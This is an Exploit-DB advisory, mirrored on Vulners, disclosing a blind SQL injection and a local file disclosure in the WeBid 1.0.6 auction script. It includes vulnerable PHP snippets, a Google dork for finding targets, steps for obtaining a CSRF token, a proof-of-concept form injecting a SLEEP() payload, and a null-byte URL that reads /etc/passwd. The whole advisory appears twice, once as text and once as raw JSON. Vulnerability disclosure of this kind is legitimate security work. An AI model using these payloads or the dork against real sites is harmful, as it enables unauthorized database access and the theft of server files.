Webid 1.0.6 - Multiple Vulnerabilities

Description

# Title: Webid Blind SQL Injection / Local File Disclosure Vulnerability
# Google Dork: intext:"Powered by WeBid"
# Author: Ahmed Aboul-Ela
# Contact: Ahmed.Aboul3la[at]gmail[dot]com
# Vendor: http://www.webidsupport.com/
# Software Link: http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.0.6/WeBid-1.0.6.zip/download
# Version: 1.0.6 (current latest release) and prior versions should be affected too
# Tested on: Linux
- About the Software:
WeBid is an open-source auction script package.
Although still in beta stages WeBid is one of the best open-source solutions for getting an auction site up and running quickly and cheaply.
Written in the popular scripting language PHP and with a large collection of highly customisable features
WeBid is the prefect choice for setting up any auction site. (Quoted from the vendor)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) Blind Sql Injection Vulnerability in "/yourauctions_p.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Vulnerable Code Snippet :
LINE 29: if (isset($_POST['action']) && $_POST['action'] == 'delopenauctions')
LINE 30: {
LINE 65 if (is_array($_POST['startnow']))
LINE 66 {
LINE 67 foreach ($_POST['startnow'] as $k =&gt; $v)
LINE 68 {
LINE 69 $query = "SELECT duration FROM " . $DBPrefix . "auctions WHERE id = " . $v;
LINE 70 $res = mysql_query($query);
LINE 71 $system-&gt;check_mysql($res, $query, __LINE__, __FILE__);
LINE 72 $data = mysql_fetch_assoc($res);
LINE 73
LINE 74 $ends = $NOW + ($data['duration'] * 24 * 60 * 60);
LINE 75
LINE 76 // Update end time to "now"
LINE 77 $query = "UPDATE " . $DBPrefix . "auctions SET starts = '" . $NOW . "', ends = '" . $ends . "' WHERE id = " . intval($v);
LINE 78 $system-&gt;check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
LINE 79 }
LINE 80 }
As we can see the $_POST['startnow'] was directly used in mysql query without any kind of sanitization which could lead directly to blind SQL Injection
- Preconditions to successfully exploit the vulnerability:
1. should be logged in with a normal user account
2. get the csrftoken which is necessary to send the POST Request
- Both conditions can be easily Achieved by the following:
1) we can register a free account at http://site.com/WeBid/register.php
2) we can obtain the csrftoken with just visiting the page "http://site.com/WeBid/yourauctions_p.php"
then press on the button "Process selected auctions" in the page and then capture the POST request
that will be send with any tool like Tamper Data or Live http headers Firefox plug-in
and we can find the csrftoken code used at the POST data ..
Example: csrftoken=c30172232742c5863925457813daad12&action=delopenauctions&Submit=Process+selected+auctions
- Proof of concept for Exploitation:
&lt;form method="POST" action="https://site.com/WeBid/yourauctions_p.php"&gt;
&lt;input name="action" value="delopenauctions"&gt;
&lt;input name="csrftoken" value="c30172232742c5863925457813daad12"&gt;
&lt;input name="startnow[]" value="0 or SLEEP(10)"&gt;
&lt;input type="submit"&gt;
&lt;/form&gt;
we should see the page response will delay for 10 Seconds which means that the mysql SLEEP() function was successfully executed :)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2) Local File Disclosure in "/loader.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Vulnerable Code Snippet :
LINE 18: if (isset($_GET['js']))
LINE 19: {
LINE 20: $js = explode(';', $_GET['js']);
LINE 21: foreach ($js as $val)
LINE 22: {
LINE 23: $ext = substr($val, strrpos($val, '.') + 1);
LINE 24: if ($ext == 'php')
LINE 25: {
LINE 26: if (check_file($val))
LINE 27: {
LINE 28: include $val;
LINE 29: }
LINE 30: }
LINE 31: elseif ($ext == 'js' || $ext == 'css')
LINE 32: {
LINE 33: if (is_file($val))
LINE 34: {
LINE 35: echo file_get_contents($val);
LINE 36: echo "\n";
LINE 37: }
LINE 38: }
LINE 39: }
LINE 40: }
- Explanation:
As we can see the page takes the input $_GET['js'] from the user, at the line 23 it extract the extension from $js parameter and store it in variable $ext
at line 31 it check if the extension is equal to js or css then at line 33 it checks if file exists on the server
afterwards simply it execute file_get_contents() function which reads the file content and print it in the page .
We can exploit the code easily by using the null byte trick to fake the extension as if it will be css or js
- Proof of concept for Exploitation:
To read /etc/passwd: http://site.com/WeBid/loader.php?js=/etc/passwd%00.css
We will see the /etc/passwd was successfully fetched in the page :)
- Precondition to successfully exploit the vulnerability:
1. PHP Version should supports the Null Byte poisoning ( php version &lt; 5.3.4)
- Credits:
Ahmed Aboul-Ela - Information Security Consultant @ Starware Group

All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017

Protected by

{"bulletinFamily": "exploit", "id": "EDB-ID:25249", "cvelist": [], "modified": "2013-05-06T00:00:00", "lastseen": "2016-02-03T00:57:45", "edition": 1, "sourceData": "# Title: Webid Blind SQL Injection / Local File Disclosure Vulnerability \r\n# Google Dork: intext:\"Powered by WeBid\"\r\n# Author: Ahmed Aboul-Ela\r\n# Contact: Ahmed.Aboul3la[at]gmail[dot]com\r\n# Vendor: http://www.webidsupport.com/\r\n# Software Link: http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.0.6/WeBid-1.0.6.zip/download\r\n# Version: 1.0.6 (current latest release) and prior versions should be affected too \r\n# Tested on: Linux\r\n\r\n- About the Software: \r\n\r\n WeBid is an open-source auction script package.\r\n Although still in beta stages WeBid is one of the best open-source solutions for getting an auction site up and running quickly and cheaply.\r\n Written in the popular scripting language PHP and with a large collection of highly customisable features\r\n WeBid is the prefect choice for setting up any auction site. (Quoted from the vendor)\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n 1) Blind Sql Injection Vulnerability in \"/yourauctions_p.php\"\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n \r\n - Vulnerable Code Snippet :\r\n \r\n\t LINE 29: if (isset($_POST['action']) && $_POST['action'] == 'delopenauctions')\r\n\t LINE 30: {\r\n\t LINE 65 if (is_array($_POST['startnow']))\r\n\t LINE 66 {\r\n\t LINE 67 foreach ($_POST['startnow'] as $k => $v)\r\n\t LINE 68 {\r\n\t LINE 69 $query = \"SELECT duration FROM \" . $DBPrefix . \"auctions WHERE id = \" . $v;\r\n\t LINE 70 $res = mysql_query($query);\r\n\t LINE 71 $system->check_mysql($res, $query, __LINE__, __FILE__);\r\n\t LINE 72 $data = mysql_fetch_assoc($res);\r\n\t LINE 73 \r\n\t LINE 74 $ends = $NOW + ($data['duration'] * 24 * 60 * 60);\r\n\t LINE 75 \r\n\t LINE 76 // Update end time to \"now\"\r\n\t LINE 77 $query = \"UPDATE \" . $DBPrefix . \"auctions SET starts = '\" . $NOW . \"', ends = '\" . $ends . \"' WHERE id = \" . intval($v);\r\n\t LINE 78 $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);\r\n\t LINE 79 }\r\n\t LINE 80 }\r\n\t \r\n As we can see the $_POST['startnow'] was directly used in mysql query without any kind of sanitization which could lead directly to blind SQL Injection \r\n\t\r\n - Preconditions to successfully exploit the vulnerability:\r\n \r\n\t1. should be logged in with a normal user account\r\n\t2. get the csrftoken which is necessary to send the POST Request\r\n\t\r\n - Both conditions can be easily Achieved by the following:\r\n \r\n 1) we can register a free account at http://site.com/WeBid/register.php\r\n 2) we can obtain the csrftoken with just visiting the page \"http://site.com/WeBid/yourauctions_p.php\" \r\n then press on the button \"Process selected auctions\" in the page and then capture the POST request \r\n that will be send with any tool like Tamper Data or Live http headers Firefox plug-in\r\n and we can find the csrftoken code used at the POST data ..\r\n \r\n Example: csrftoken=c30172232742c5863925457813daad12&action=delopenauctions&Submit=Process+selected+auctions\r\n \r\n \r\n - Proof of concept for Exploitation:\r\n \r\n <form method=\"POST\" action=\"https://site.com/WeBid/yourauctions_p.php\">\r\n\t <input name=\"action\" value=\"delopenauctions\">\r\n\t <input name=\"csrftoken\" value=\"c30172232742c5863925457813daad12\">\r\n\t <input name=\"startnow[]\" value=\"0 or SLEEP(10)\">\r\n\t <input type=\"submit\">\r\n\t </form>\r\n\t \r\n we should see the page response will delay for 10 Seconds which means that the mysql SLEEP() function was successfully executed :)\r\n \r\n \r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n 2) Local File Disclosure in \"/loader.php\"\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\n \r\n - Vulnerable Code Snippet :\r\n\r\n\t LINE 18: if (isset($_GET['js']))\r\n\t LINE 19: {\r\n\t LINE 20: $js = explode(';', $_GET['js']);\r\n\t LINE 21: foreach ($js as $val)\r\n\t LINE 22: {\r\n\t LINE 23: $ext = substr($val, strrpos($val, '.') + 1);\r\n\t LINE 24: if ($ext == 'php')\r\n\t LINE 25: {\r\n\t LINE 26: if (check_file($val))\r\n\t LINE 27: {\r\n\t LINE 28: include $val;\r\n\t LINE 29: }\r\n\t LINE 30: }\r\n\t LINE 31: elseif ($ext == 'js' || $ext == 'css') \r\n\t LINE 32: {\r\n\t LINE 33: if (is_file($val))\r\n\t LINE 34: {\r\n\t LINE 35: echo file_get_contents($val);\r\n\t LINE 36: echo \"\\n\";\r\n\t LINE 37: }\r\n\t LINE 38: }\r\n\t LINE 39: }\r\n\t LINE 40: }\r\n\t \r\n - Explanation: \t \r\n\r\n As we can see the page takes the input $_GET['js'] from the user, at the line 23 it extract the extension from $js parameter and store it in variable $ext\r\n at line 31 it check if the extension is equal to js or css then at line 33 it checks if file exists on the server\r\n afterwards simply it execute file_get_contents() function which reads the file content and print it in the page .\r\n \r\n We can exploit the code easily by using the null byte trick to fake the extension as if it will be css or js\r\n \r\n - Proof of concept for Exploitation:\r\n \r\n To read /etc/passwd: http://site.com/WeBid/loader.php?js=/etc/passwd%00.css \r\n \r\n We will see the /etc/passwd was successfully fetched in the page :)\r\n \r\n - Precondition to successfully exploit the vulnerability:\r\n \r\n\t 1. PHP Version should supports the Null Byte poisoning ( php version < 5.3.4)\r\n \r\n - Credits: \r\n\r\n Ahmed Aboul-Ela - Information Security Consultant @ Starware Group\r\n \r\n", "published": "2013-05-06T00:00:00", "href": "https://www.exploit-db.com/exploits/25249/", "osvdbidlist": ["93055", "87807"], "reporter": "Ahmed Aboul-Ela", "hash": "18bc9e9a0660e90d0acbe62fd22ec7192e7126b1795494f0218d84718a16bcd9", "title": "Webid 1.0.6 - Multiple Vulnerabilities", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "Webid 1.0.6 - Multiple Vulnerabilities. Webapps exploit for php platform", "references": [], "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/25249/", "enchantments": {"vulnersScore": 5.5}, "viewCount": 8}